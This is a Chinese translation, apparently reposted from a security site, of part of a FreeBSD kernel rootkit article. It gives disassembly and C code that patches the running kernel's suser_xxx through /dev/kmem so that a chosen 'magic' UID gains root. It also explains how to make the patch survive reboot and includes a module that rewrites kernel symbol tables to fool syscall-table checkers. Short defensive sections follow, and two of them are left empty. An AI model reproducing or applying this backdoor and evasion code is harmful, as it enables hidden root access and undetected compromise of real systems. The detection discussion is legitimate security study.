网络安全 频道

玩转freebsd内核模块

为了鉴别用户是否是root 或者超级用户,内核调用suser,然后suser返回并调用super_xxx,这将会检查用户是否是root,并授予某些
特权,比如原始套节字,我提供了一个例子来演示修改已经存在的代码,首先我们要找到这个函数的地址,用 nm /kernel | grep
super_xxx 或者用 tools/findsym 查找suser_xxx,在我的电脑上它是0xc019d538,你的也会差不多,现在我们来看一下
这里的代码

# objdump -d /kernel --start-address=0xc019d538 | more

/kernel: file format elf32-i386

Disassembly of section .text:

c019d538 :
c019d538: 55 push %ebp
c019d539: 89 e5 mov %esp,%ebp
c019d53b: 8b 45 08 mov 0x8(%ebp),%eax //参数 cred
c019d53e: 8b 55 0c mov 0xc(%ebp),%edx //参数 proc
c019d541: 85 c0 test %eax,%eax //!cred
c019d543: 75 20 jne c019d565
c019d545: 85 d2 test %edx,%edx
c019d547: 75 13 jne c019d55c
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0 //printf
c019d553: b8 01 00 00 00 mov $0x1,%eax
c019d558: eb 32 jmp c019d58c
c019d55a: 89 f6 mov %esi,%esi
c019d55c: 85 c0 test %eax,%eax // !cred
c019d55e: 75 05 jne c019d565
c019d560: 8b 42 10 mov 0x10(%edx),%eax
c019d563: 8b 00 mov (%eax),%eax
c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax) //cred->cr_uid != 0
c019d569: 75 e8 jne c019d553
c019d56b: 85 d2 test %edx,%edx
c019d56d: 74 1b je c019d58a
c019d56f: 83 ba 60 01 00 00 00 cmpl $0x0,0x160(%edx)
c019d576: 74 07 je c019d57f
c019d578: 8b 45 10 mov 0x10(%ebp),%eax
c019d57b: a8 01 test $0x1,%al
c019d57d: 74 d4 je c019d553
c019d57f: 85 d2 test %edx,%edx
c019d581: 74 07 je c019d58a
c019d583: 80 8a 72 01 00 00 02 orb $0x2,0x172(%edx)
c019d58a: 31 c0 xor %eax,%eax
c019d58c: c9 leave
c019d58d: c3 ret
c019d58e: 89 f6 mov %esi,%esi

这里是反汇编的代码,下面是源代码,在/sys/kern/kern_prot.c
int
suser_xxx(cred, proc, flag)
struct ucred *cred;
struct proc *proc;
int flag;
{
if (!cred && !proc) {
printf("suser_xxx(): THINK!\n");
return (EPERM);
}
if (!cred)
cred = proc->p_ucred;
if (cred->cr_uid != 0) ///------------------------------------|
return (EPERM);
if (proc && proc->p_prison && !(flag & PRISON_ROOT))
return (EPERM);
if (proc)
proc->p_acflag |= ASU;
return (0);
}

除非你是一个assembler person ,请看一下,你可以注意到%eax存贮着cred ,%edx 存储着proc 结构,基本我们想改成这样

if ((cred->cr_uid != 0) && (cred->cr_uid != MAGIC_UID))
return (EPERM);

现在我们要找一个地方去存放上面的代码,用printf的地址吧,printf的作用就是在suser_xxx在被错误调用时才有用,现在我们假设
没有人仔细看着它的屏幕;),看看汇编代码中,所有错误的返回都是这样 把EPERM =1 放到 %eax 中c019d553: mov $0x1,%eax
看一下uid=!0的测试,跳转到c019d553.

c019d565: 83 78 04 00 cmpl $0x0,0x4(%eax)
c019d569: 75 e8 jne c019d553 //75 表示 jne 向上跳转到偏移e8,e8是个负数-16

我们看一下我们将要放置新代码的printf处 (10个字节)
c019d549: 68 90 df 36 c0 push $0xc036df90
c019d54e: e8 5d db 00 00 call c01ab0b0
现在我们需要修改跳转地址 75 表示 jne 向上跳转到偏移e8,e8是个负数-16

现在我们就要修改printf地址的代码并添加我们自己的check了(cred->cr_uid != MAGIC_UID) 首先我们用 jmp 0x7(来跳过这个
检查)当它被“正常调用时“不出错,就是在(!cred && !proc)的测试中,然后添加我们的检验代码
jmp 0x07 eb 07 /* 跳过检查 */
cmpl $magic,0x4(%eax) 83 78 04 magic /* 检察MAGIC_UID */
je 0x39 74 39 /* 跳到结束 */
nop 90 /* 用来填充的字节 */
nop 90

现在修改 c019d569 地址出的 75 e8 为 75 e0(后退8个字节) 实际跳转到了cmpl $magic,0x4(%eax) 这里来执行
我们把它整合到一块,我的特定的MAGIC_UID=100;
#include
#include
#include
#include
#include

#define MAGIC_ADDR 0xc019d549
#define MAKE_OR_ADDR 0xc019d569

unsigned char magic[] = "\xeb\x07" /* jmp 06 */
"\x83\x78\x04\x00" /* cmpl $magic,0x4(%eax) */
"\x74\x39" /* je to end */
"\x90\x90" /* filling nop */
;


unsigned char makeor[] = "\x75\xe0"; /* jne e0 */

int
main(int argc, char **argv) {

char errbuf[_POSIX2_LINE_MAX];
long diff;
kvm_t *kd;
u_int32_t magic_addr = MAGIC_ADDR;
u_int32_t makeor_addr = MAKE_OR_ADDR;

kd = kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
if(kd == NULL) {
fprintf(stderr,"ERROR: %s\n",errbuf);
exit(-1);
}


if(kvm_write(kd,MAGIC_ADDR,magic,sizeof(magic)-1) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}

if(kvm_write(kd,MAKE_OR_ADDR,makeor,sizeof(makeor)-1) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}

if(kvm_close(kd) < 0) {
fprintf(stderr,"ERROR: %s\n",kvm_geterr(kd));
exit(-1);
}

exit(0);
}
在direct/fix_suser_xxx.c 可能你会见到轻微的改动 ,它要求uid<256

现在你可以copy /sbin/ping 到你的目录下测试一下:)

5.越过重启

显然当重启后我们的模块奖不能在使用,所以我们可以把我们的模块启动sh脚本放在/usr/local/etc/rc.d/ (这个目录可以改变通过
rc.conf:),其实放在loader.conf也不错)当然必须安全级别调整之前执行。
如果你通过上面的/dev/kmem直接改变了内核的代码,你可以把这些改变直接写进/kernel(hu,hu),我没有查elf的相关文档,但是看上
去重定向地址应该是/kernel内的偏移+0xc0100000,在你写你的内核时,请测试先。在direct/fix_suser_xxx_kernel.c 有个同样
的例子。

6. 实战

在先前的例子中,所有的符号地址都来自/dev/kmem,但是它确切的出处在哪里呢?它在内核中经常变化。这些符号存储在elf hash 表
里面,每个连入内核的文件(object)都有它自己的符号表,在exp/symtable.c 有个例子 它在linker_files队列中查找第一个
命名为kernel的条目,函数名被hash了,并被重新获得,符号找到之后它的value就可以改变了。

int
set_symbol(struct proc *p, struct set_symbol_args *uap)
{

linker_file_t lf;
elf_file_t ef;
unsigned long symnum;
const Elf_Sym* symp = NULL;
Elf_Sym new_symp;
const char *strp;
unsigned long hash;
caddr_t address;
int error = 0;

mod_debug("Set symbol %s address 0x%x\n",uap->name,uap->address);

lf = TAILQ_FIRST(&linker_files);
ef = lf->priv;

/* First, search hashed global symbols */参见elf鉴别
hash = elf_hash(uap->name); //通过对名字hash可以加快寻找速度,
symnum = ef->buckets[hash % ef->nbuckets];//

while (symnum != STN_UNDEF) {
if (symnum >= ef->nchains) {
printf("link_elf_lookup_symbol: corrupt symbol table\n");
return ENOENT;
}

symp = ef->symtab + symnum; //symtab节是静态符号节
if (symp->st_name == 0) { //符号名字索引
printf("link_elf_lookup_symbol: corrupt symbol table\n");
return ENOENT;
}

strp = ef->strtab + symp->st_name; //符号名节

if (!strcmp(uap->name, strp)) {

/* found the symbol with the given name */
if (symp->st_shndx != SHN_UNDEF || //关联的索引
(symp->st_value != 0 && ELF_ST_TYPE(symp->st_info) == STT_FUNC )) { //符号类型,关联一个函数

/* give some debug info */
address = (caddr_t) ef->address + symp->st_value;
//符号的地址 =模块的地址+st_value st_value表示文件偏移
mod_debug("found %s at 0x%x!\n",uap->name,(uintptr_t)address);

bcopy(symp,&new_symp,sizeof(Elf_Sym));
new_symp.st_value = uap->address; //改变成新的地址

address = (caddr_t) ef->address + new_symp.st_value;
mod_debug("new address is 0x%x\n",(uintptr_t)address);

/* set the address */
bcopy(&new_symp,(ef->symtab + symnum),sizeof(Elf_Sym));

break;

break;

} else
return(ENOENT);
}

symnum = ef->chains[symnum];
}

/* for now this only looks at the global symbol table */

return(error);
}
symtable是一个单独的模块,它将加载上面用过的所有系统调用,你可以通过set_sym工具来测试,它将击败tool/checkcall

7. 保护你自己:猫和老鼠的游戏。

现在你可能要问,如何防止你的系统发生这种情况,也许你有兴趣与找到你自己:)
下面我们来看几种检测的方法:

7.1 检查符号表

在上面的例子中,我们看到了系统调用表被修改了,所以你可以检查系统调用表来发现修改,一种方法就是,在系统启动时加载一个
包含有特殊目的的系统调用的模块,这个系统调用用来检查并与先前保存系统调用表对比。

上面的方法很通用,但是启它的表被修改了呢?当然你可以添加更多别的表的检查,这种方法是不能检测到jump这种方法和
直接修改内核的方法。

你应该通过/dev/kmem 监察系统调用表,在tools/checkcall有个例子,它带有两个参数,一个是syscall的名字,还有一个就是
系统调用号,以此载系统调用表中来检查。

但是这样还是有问题,比如利用在实战节中我们介绍的方法,我们只能得到错误的地址,下面的例子中将用来证明,假如我们
加载了CY,现在假如我们想要检查open这个系统调用,SYS_open的系统调用号为5,定义于/sys/sys/syscall.h
我们作如下检测
# tools/checkcall open 5
Checking syscall 5: open

sysent is 0x4 at 0xc03b7308
sysent[5] is at 0xc03b7330 and will go to function at 0xc0cd5bf4
ALERT! It should go to 0xc01ce5f8 instead

当然我们通过setsym来修复这个问题,当然你需要首先加载symtable这个模块
# exp/setsym 0xc0cd5bf4 open

现在再用checkcall检查,不会出现ALERT了,它假设open就是在0xc0cd5bf4,但是故事并没有结束,我们可以通过实际检查kernel
来证实objdump -d /kernel --start-address=0xc0cd5bf4 我们就会怀疑这个系统调用的地址过高,objdump在这个地址却没有
发现任何东西,暗示有问题了。这表明你的内核或者objdump被文件重向了,然而这将会引起一点小的争论。

7.2 陷阱模块

另外的你可以做的就是加在一个模块用来纪录kldload的调用,然后判断是拒绝还是加载,在trapmod/有个例子,你可以用非隐藏的方式
加载这个模块,当然在安全级别提升前。

7.3

。。。。。。。


7.4 概论
。。
8.结论
正如你所见到的,很多攻击的技术同样可以用来防御,通常隐藏一个用来管理的模块很重要,作为一个系统管理员隐藏一些用来检测入侵
的shell和文件是必要的。如果你是个freebsd系统管理员,应该时刻意识到即使系统处在一个高的安全级别也有很多需要注意的地方。

这篇文章可以让你学到更多的kernel works , 这是最重要的;)

9.代码
文中提到的所有代码都可以在Curious Yellow 包中找到 (地址:http://www.r4k.net/mod/cyellow-0.01.tar.gz
xfocus也有)

10. References
FreeBSD
Exploiting Kernel buffer overflows FreeBSD Style by Esa Etelavuori
Attacking FreeBSD with Kernel Modules - The System Call Approach by pragmatic/THC
Dynamic Kernel Linker (KLD) Facility Programming Tutorial by Andrew Reiter
Linux
Runtime Kernel Kmem Patching by Silvio Cesare
Inspiriation :)
Jeff Noon, "The Vurt"
11. Thanks
Thanks go to:
Job de Haas for getting me interested in this whole stuff
Olaf Erb for checking the article for readability :)

and especially Alex Le Heux

 http://netadmin.77169.com/HTML/20040102012700.html

0
相关文章